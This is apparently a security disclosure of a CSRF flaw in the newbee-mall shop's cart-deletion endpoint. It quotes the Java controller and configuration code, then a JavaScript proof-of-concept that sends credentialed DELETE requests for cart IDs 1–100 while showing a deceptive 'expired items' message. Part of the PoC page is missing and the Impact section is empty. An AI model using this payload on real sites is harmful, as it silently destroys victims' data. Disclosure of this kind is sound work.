Summary

A CSRF vulnerability exists in the shopping cart deletion endpoint /shop-cart/{cartItemId} (DELETE). Attackers can empty users' shopping carts, causing inconvenience and potential loss of carefully curated selections.

Vulnerability Details

Configuration-Level Issue

File: src/main/java/ltd/newbee/mall/config/NeeBeeMallWebMvcConfigurer.java

@Configuration
public class NeeBeeMallWebMvcConfigurer implements WebMvcConfigurer {
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(newBeeMallLoginInterceptor)
                .addPathPatterns("/shop-cart/**");
        // ❌ No CSRF token validation
    }
}

Endpoint-Level Code Analysis

File: src/main/java/ltd/newbee/mall/controller/mall/ShoppingCartController.java (Lines 93-105)

@DeleteMapping("/shop-cart/{newBeeMallShoppingCartItemId}")
@ResponseBody
public Result updateNewBeeMallShoppingCartItem(@PathVariable("newBeeMallShoppingCartItemId") Long newBeeMallShoppingCartItemId,
                                               HttpSession httpSession) {
    NewBeeMallUserVO user = (NewBeeMallUserVO) httpSession.getAttribute(Constants.MALL_USER_SESSION_KEY);
    // ❌ No CSRF token validation
    // ⚠️ Cart item IDs are sequential and predictable
    Boolean deleteResult = newBeeMallShoppingCartService.deleteById(newBeeMallShoppingCartItemId, user.getUserId());
    if (deleteResult) {
        return ResultGenerator.genSuccessResult();
    }
    return ResultGenerator.genFailResult(ServiceResultEnum.OPERATE_ERROR.getResult());
}

Security Issues:

  1. ❌ No CSRF token validation
  2. ⚠️ Cart item IDs are predictable (sequential integers)
  3. ⚠️ Can delete multiple items in batch

        var deletedCount = 0;
        
        for (var i = 1; i <= 100; i++) {
            fetch('http://localhost:28089/shop-cart/' + i, {
                method: 'DELETE',
                credentials: 'include'
            })
            .then(response => response.json())
            .then(data => {
                if (data.resultCode == 200) {
                    deletedCount++;
                    document.getElementById('progress').innerHTML = 
                        'Removed ' + deletedCount + ' expired items';
                }
            });
        }
        
        setTimeout(function() {
            document.getElementById('progress').innerHTML = '✅ Cart cleanup complete!';
        }, 3000);
    </script>
</body>
</html>

Impact
